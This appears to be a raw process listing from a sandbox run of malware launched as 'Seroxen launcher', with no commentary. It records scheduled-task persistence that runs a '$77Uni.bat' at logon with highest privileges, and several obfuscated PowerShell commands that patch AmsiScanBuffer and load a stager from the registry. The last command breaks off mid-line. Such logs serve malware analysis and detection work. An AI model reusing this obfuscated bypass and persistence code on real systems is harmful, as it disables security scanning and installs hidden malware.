C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Unity.ProBuilder.KdTree.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.ClusterInputModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.CoreModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.GameCenterModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Guna.UI2.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.CrashReportingModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.AndroidJNIModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.AnimationModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.ClusterRendererModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.DirectorModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.IMGUIModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.AccessibilityModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.AssetBundleModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Nat.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Octokit.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Unity.Burst.Unsafe.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Unity.Mathematics.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.AIModule.dll,#1

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\UnityEngine.ARModule.dll,#1

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM

C:\Windows\system32\dwm.exe

"dwm.exe"

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s nsi

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT

C:\Windows\sysmon.exe

C:\Windows\sysmon.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service

C:\Windows\system32\SppExtComObj.exe

C:\Windows\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Users\Admin\AppData\Local\Temp\Seroxen launcher v3.1.2.exe

"C:\Users\Admin\AppData\Local\Temp\Seroxen launcher v3.1.2.exe"

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe

"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Documents\Uni.bat

"C:\Users\Admin\Documents\Uni.bat"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"

C:\Users\Admin\AppData\Local\Temp\install.exe

"C:\Users\Admin\AppData\Local\Temp\install.exe"

C:\Windows\SysWOW64\SCHTASKS.exe

"SCHTASKS.exe" /create /tn "$77Uni.bat" /tr "'C:\Users\Admin\Documents\Uni.bat'" /sc onlogon /rl HIGHEST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:aXPqkUYBfFXs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$cQJBtieABikgWK,[Parameter(Position=1)][Type]$uqQkEWtNbZ)$jyboOLmOlln=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+[Char](68)+''+'e'+'leg'+[Char](97)+'te'+[Char](84)+''+[Char](121)+'p'+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c,'+'S'+''+'e'+''+'a'+''+[Char](108)+''+'e'+'d'+','+'An'+'s'+''+[Char](105)+''+'C'+''+'l'+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+'toC'+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$jyboOLmOlln.DefineConstructor('R'+'T'+''+[Char](83)+''+'p'+''+'e'+'c'+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+'am'+'e'+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+',P'+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$cQJBtieABikgWK).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$jyboOLmOlln.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+'e'+'',''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+'yS'+[Char](105)+''+'g'+''+','+''+[Char](78)+''+[Char](101)+'w'+'S'+'l'+'o'+''+[Char](116)+''+[Char](44)+'Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$uqQkEWtNbZ,$cQJBtieABikgWK).SetImplementationFlags(''+[Char](82)+''+'u'+'nt'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+'ge'+[Char](100)+'');Write-Output $jyboOLmOlln.CreateType();}$iuJSgkAvSVOkP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+'e'+[Char](109)+'.'+[Char](100)+''+[Char](108)+'l')}).GetType('Mic'+'r'+''+[Char](111)+'s'+'o'+'f'+[Char](116)+''+[Char](46)+''+'W'+''+'i'+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'ns'+[Char](97)+'f'+[Char](101)+'Na'+'t'+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$PkgvyBEzpKLGdF=$iuJSgkAvSVOkP.GetMethod(''+[Char](71)+''+[Char](101)+'tP'+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'S'+'t'+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wGZYEByzeACYSZSwLwQ=aXPqkUYBfFXs @([String])([IntPtr]);$thAvEOQkvhslGDpcTogJwO=aXPqkUYBfFXs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$zTpIAWQJsXH=$iuJSgkAvSVOkP.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+'duleHan'+'d'+'l'+'e'+'').Invoke($Null,@([Object](''+'k'+''+'e'+'rn'+[Char](101)+''+'l'+''+'3'+''+[Char](50)+'.'+'d'+''+[Char](108)+''+[Char](108)+'')));$VoABFPorzDNcbZ=$PkgvyBEzpKLGdF.Invoke($Null,@([Object]$zTpIAWQJsXH,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'d'+[Char](76)+'i'+'b'+''+'r'+''+[Char](97)+''+'r'+'y'+[Char](65)+'')));$WQDxcjfTcDkIwvnFe=$PkgvyBEzpKLGdF.Invoke($Null,@([Object]$zTpIAWQJsXH,[Object]('V'+'i'+''+[Char](114)+''+'t'+'u'+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+'t')));$ppnHFyn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoABFPorzDNcbZ,$wGZYEByzeACYSZSwLwQ).Invoke('a'+[Char](109)+''+'s'+'i.d'+'l'+''+[Char](108)+'');$USNvIWvMAoHZgpjAW=$PkgvyBEzpKLGdF.Invoke($Null,@([Object]$ppnHFyn,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+'a'+[Char](110)+'Bu'+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$pfMQasKpfc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WQDxcjfTcDkIwvnFe,$thAvEOQkvhslGDpcTogJwO).Invoke($USNvIWvMAoHZgpjAW,[uint32]8,4,[ref]$pfMQasKpfc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$USNvIWvMAoHZgpjAW,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WQDxcjfTcDkIwvnFe,$thAvEOQkvhslGDpcTogJwO).Invoke($USNvIWvMAoHZgpjAW,[uint32]8,0x20,[ref]$pfMQasKpfc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'7'+'7'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"

C:\Users\Admin\AppData\Local\Temp\install.exe

"C:\Users\Admin\AppData\Local\Temp\install.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:TichINfMvoQw{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vqNRLWOySskuJa,[Parameter(Position=1)][Type]$cAjmvpKArK)$slKOJoBrIlO=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+''+[Char](108)+'ecte'+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'Me'+[Char](109)+''+'o'+''+[Char](114)+'yM'+'o'+'du'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'ga'+[Char](116)+'eT'+'y'+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+'s'+''+[Char](44)+'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'ea'+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+'A'+''+'n'+''+'s'+''+'i'+''+'C'+''+[Char](108)+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$slKOJoBrIlO.DefineConstructor('R'+[Char](84)+'S'+'p'+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'ame'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$vqNRLWOySskuJa).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+','+'M'+''+[Char](97)+''+[Char](110)+'ag'+[Char](101)+'d');$slKOJoBrIlO.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'eB'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+'w'+''+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+'r'+''+'t'+''+[Char](117)+''+'a'+''+'l'+'',$cAjmvpKArK,$vqNRLWOySskuJa).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'Ma'+'n'+''+'a'+'g'+'e'+''+[Char](100)+'');Write-Output $slKOJoBrIlO.CreateType();}$hqiHDrYnCXzNC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+'i'+''+'n'+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+'v'+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+'s');$vKYOqdlgVaOLFJ=$hqiHDrYnCXzNC.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+'es'+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+''+'c'+','+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$LRiHXFlwhmEGzpBtGhB=TichINfMvoQw @([String])([IntPtr]);$vjgnmKHoAVnttDEwyoPBWF=TichINfMvoQw @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ByKPOPHcZjU=$hqiHDrYnCXzNC.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+''+'o'+'d'+'u'+'leH'+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$TwpQQWRnevEnBu=$vKYOqdlgVaOLFJ.Invoke($Null,@([Object]$ByKPOPHcZjU,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+'b'+'rar'+[Char](121)+''+[Char](65)+'')));$TVqUbZCnDeLDNxpzL=$vKYOqdlgVaOLFJ.Invoke($Null,@([Object]$ByKPOPHcZjU,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$WaXsJVG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TwpQQWRnevEnBu,$LRiHXFlwhmEGzpBtGhB).Invoke('a'+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$umqEnrzilGmtBtlpO=$vKYOqdlgVaOLFJ.Invoke($Null,@([Object]$WaXsJVG,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+'B'+'u'+'f'+'f'+'e'+'r'+'')));$iOLXUtEEtH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TVqUbZCnDeLDNxpzL,$vjgnmKHoAVnttDEwyoPBWF).Invoke($umqEnrzilGmtBtlpO,[uint32]8,4,[ref]$iOLXUtEEtH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$umqEnrzilGmtBtlpO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TVqUbZCnDeLDNxpzL,$vjgnmKHoAVnttDEwyoPBWF).Invoke($umqEnrzilGmtBtlpO,[uint32]8,0x20,[ref]$iOLXUtEEtH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+'7'+''+'s'+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{1a07d4f8-abe6-4441-9abc-545ca62ee5d5}

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{b6f377e4-7c54-49f5-8587-879911d2ec8a}

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

C:\Users\Admin\Desktop\Uni.bat

"C:\Users\Admin\Desktop\Uni.bat"

C:\Users\Admin\AppData\Local\Temp\install.exe

"C:\Users\Admin\AppData\Local\Temp\install.exe"

C:\Windows\SysWOW64\SCHTASKS.exe

"SCHTASKS.exe" /create /tn "$77Uni.bat" /tr "'C:\Users\Admin\Desktop\Uni.bat'" /sc onlogon /rl HIGHEST

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ukqiNOkwfzfb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XSKAxlhTxikMiI,[Parameter(Position=1)][Type]$eDwodqMEbS)$XNYWKcUReBF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+'c'+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'teTy'+'p'+''+[Char](101)+'','C'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+'u'+'b'+'l'+''+'i'+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+'n'+''+'s'+''+[Char](105)+''+'C'+''+'l'+''+'a'+'s'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'C'+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$XNYWKcUReBF.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+'e'+[Char](44)+'Hide'+[Char](66)+''+'y'+'S'+[Char](105)+'g'+','+''+'P'+''+[Char](117)+'b'+'l'+''+'i'+'c',[Reflection.CallingConventions]::Standard,$XSKAxlhTxikMiI).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+'i'+[Char](109)+'e,Ma'+[Char](110)+''+[Char](97)+''+'g'+'e'+'d'+'');$XNYWKcUReBF.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+'ub'+[Char](108)+'i'+'c'+''+','+'Hi'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'ig'+','+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+'l'+[Char](111)+'t'+[Char](44)+''+'V'+''+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$eDwodqMEbS,$XSKAxlhTxikMiI).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $XNYWKcUReBF.CreateType();}$ZfFuTFchQNNoJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'stem'+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+'o'+''+'s'+''+[Char](111)+''+[Char](102)+'t.W'+'i'+''+'n'+''+'3'+''+[Char](50)+''+[Char](46)+'Un'+[Char](115)+'af'+'e'+'N'+'a'+''+[Char](116)+'i'+'v'+'eMet'+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$QpwsHMkdZrLTIs=$ZfFuTFchQNNoJ.GetMethod(''+'G'+'et'+[Char](80)+''+'r'+''+[Char](111)+'cA'+[Char](100)+''+[Char](100)+''+[Char](114)+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+',S'+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$yGOOeXGUDlEwgdGSMlr=ukqiNOkwfzfb @([String])([IntPtr]);$VxatSEigbxRqECqiwiruTE=ukqiNOkwfzfb 